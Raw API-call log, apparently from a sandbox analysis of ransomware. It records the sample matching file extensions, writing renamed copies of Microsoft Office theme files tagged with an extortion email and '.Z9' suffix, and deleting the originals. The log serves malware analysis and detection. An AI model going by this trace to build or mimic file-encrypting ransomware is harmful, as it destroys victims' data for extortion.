	[0167.861] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0167.862] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0167.862] lstrlenW (lpString="Glossy.eftx") returned 11
	[0167.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.862] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=335038) returned 1
	[0167.862] CloseHandle (hObject=0x4cc) returned 1
	[0167.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220
	[0167.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0168.074] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.074] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.078] GetLastError () returned 0x0
	[0168.078] ReadFile (in: hFile=0x3e0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x51cbe, lpOverlapped=0x0) returned 1
	[0168.094] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x51cc0, lpOverlapped=0x0) returned 1
	[0168.102] ReadFile (in: hFile=0x3e0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.102] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xea, lpOverlapped=0x0) returned 1
	[0168.102] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.102] CloseHandle (hObject=0x4d0) returned 1
	[0168.103] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.103] SetEndOfFile (hFile=0x3e0) returned 1
	[0168.366] CloseHandle (hObject=0x3e0) returned 1
	[0168.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1
	[0168.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.739] lstrlenW (lpString=".doc") returned 4
	[0168.739] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.739] lstrlenW (lpString=".docx") returned 5
	[0168.739] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.740] lstrlenW (lpString=".pdf") returned 4
	[0168.740] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.741] lstrlenW (lpString=".xls") returned 4
	[0168.741] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.741] lstrlenW (lpString=".xlsx") returned 5
	[0168.741] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.741] lstrlenW (lpString=".ppt") returned 4
	[0168.741] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.741] lstrlenW (lpString=".zip") returned 4
	[0168.743] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.743] lstrlenW (lpString=".rar") returned 4
	[0168.743] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.743] lstrlenW (lpString=".bz2") returned 4
	[0168.743] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.743] lstrlenW (lpString=".7z") returned 3
	[0168.743] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.743] lstrlenW (lpString=".dbf") returned 4
	[0168.743] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.745] lstrlenW (lpString=".1cd") returned 4
	[0168.745] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.745] lstrlenW (lpString=".jpg") returned 4
	[0168.745] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.746] lstrlenW (lpString=".doc") returned 4
	[0168.746] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.748] lstrlenW (lpString=".docx") returned 5
	[0168.748] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.748] lstrlenW (lpString=".pdf") returned 4
	[0168.748] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.748] lstrlenW (lpString=".xls") returned 4
	[0168.748] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.748] lstrlenW (lpString=".xlsx") returned 5
	[0168.748] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.750] lstrlenW (lpString=".ppt") returned 4
	[0168.750] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.750] lstrlenW (lpString=".zip") returned 4
	[0168.750] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.753] lstrlenW (lpString=".rar") returned 4
	[0168.753] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.753] lstrlenW (lpString=".bz2") returned 4
	[0168.753] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.753] lstrlenW (lpString=".7z") returned 3
	[0168.753] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.755] lstrlenW (lpString=".dbf") returned 4
	[0168.755] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.755] lstrlenW (lpString=".1cd") returned 4
	[0168.755] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0168.755] lstrlenW (lpString=".jpg") returned 4
	[0168.755] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.755] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.755] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23
	[0168.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0168.757] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=45229) returned 1
	[0168.757] CloseHandle (hObject=0x4a8) returned 1
	[0168.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220
	[0168.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0168.758] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.758] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8
	[0168.759] GetLastError () returned 0x0
	[0168.759] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0xb0ad, lpOverlapped=0x0) returned 1
	[0168.763] WriteFile (in: hFile=0x4c8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xb0b0, lpOverlapped=0x0) returned 1
	[0168.767] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.767] WriteFile (in: hFile=0x4c8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x102, lpOverlapped=0x0) returned 1
	[0168.768] SetEndOfFile (hFile=0x4c8) returned 1
	[0168.768] CloseHandle (hObject=0x4c8) returned 1
	[0168.768] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.768] SetEndOfFile (hFile=0x4a8) returned 1
	[0168.772] CloseHandle (hObject=0x4a8) returned 1
	[0168.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1
	[0168.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.774] lstrlenW (lpString=".doc") returned 4
	[0168.774] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.774] lstrlenW (lpString=".docx") returned 5
	[0168.774] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.774] lstrlenW (lpString=".pdf") returned 4
	[0168.774] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.774] lstrlenW (lpString=".xls") returned 4
	[0168.774] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.774] lstrlenW (lpString=".xlsx") returned 5
	[0168.774] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.774] lstrlenW (lpString=".ppt") returned 4
	[0168.775] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString=".zip") returned 4
	[0168.775] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString=".rar") returned 4
	[0168.775] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString=".bz2") returned 4
	[0168.775] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString=".7z") returned 3
	[0168.775] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString=".dbf") returned 4
	[0168.775] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString=".1cd") returned 4
	[0168.775] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString=".jpg") returned 4
	[0168.775] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.775] lstrlenW (lpString=".doc") returned 4
	[0168.775] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.775] lstrlenW (lpString=".docx") returned 5
	[0168.776] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.776] lstrlenW (lpString=".pdf") returned 4
	[0168.776] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString=".xls") returned 4
	[0168.776] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString=".xlsx") returned 5
	[0168.776] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.776] lstrlenW (lpString=".ppt") returned 4
	[0168.776] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.776] lstrlenW (lpString=".zip") returned 4
	[0168.776] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString=".rar") returned 4
	[0168.776] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString=".bz2") returned 4
	[0168.776] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString=".7z") returned 3
	[0168.776] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.776] lstrlenW (lpString=".dbf") returned 4
	[0168.776] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.776] lstrlenW (lpString=".1cd") returned 4
	[0168.776] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0168.776] lstrlenW (lpString=".jpg") returned 4
	[0168.776] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.777] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.777] lstrlenW (lpString="Reflection.eftx") returned 15
	[0168.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0168.778] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=48366) returned 1
	[0168.778] CloseHandle (hObject=0x4a8) returned 1
	[0168.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220
	[0168.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0168.779] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.779] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8
	[0168.779] GetLastError () returned 0x0
	[0168.779] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0xbcee, lpOverlapped=0x0) returned 1
	[0168.782] WriteFile (in: hFile=0x4c8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xbcf0, lpOverlapped=0x0) returned 1
	[0168.784] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.784] WriteFile (in: hFile=0x4c8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0168.784] SetEndOfFile (hFile=0x4c8) returned 1
	[0168.784] CloseHandle (hObject=0x4c8) returned 1
	[0168.784] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.784] SetEndOfFile (hFile=0x4a8) returned 1
	[0168.788] CloseHandle (hObject=0x4a8) returned 1
	[0168.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1
	[0168.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.789] lstrlenW (lpString=".doc") returned 4
	[0168.789] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.789] lstrlenW (lpString=".docx") returned 5
	[0168.789] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.789] lstrlenW (lpString=".pdf") returned 4
	[0168.789] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.789] lstrlenW (lpString=".xls") returned 4
	[0168.789] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.789] lstrlenW (lpString=".xlsx") returned 5
	[0168.789] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.789] lstrlenW (lpString=".ppt") returned 4
	[0168.789] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.789] lstrlenW (lpString=".zip") returned 4
	[0168.790] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".rar") returned 4
	[0168.790] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".bz2") returned 4
	[0168.790] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".7z") returned 3
	[0168.790] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString=".dbf") returned 4
	[0168.790] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString=".1cd") returned 4
	[0168.790] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString=".jpg") returned 4
	[0168.790] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString=".doc") returned 4
	[0168.790] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".docx") returned 5
	[0168.790] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0168.790] lstrlenW (lpString=".pdf") returned 4
	[0168.790] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".xls") returned 4
	[0168.790] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".xlsx") returned 5
	[0168.790] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0168.790] lstrlenW (lpString=".ppt") returned 4
	[0168.790] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.790] lstrlenW (lpString=".zip") returned 4
	[0168.790] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".rar") returned 4
	[0168.790] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0168.790] lstrlenW (lpString=".bz2") returned 4
	[0168.791] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0168.791] lstrlenW (lpString=".7z") returned 3
	[0168.791] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.791] lstrlenW (lpString=".dbf") returned 4
	[0168.791] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
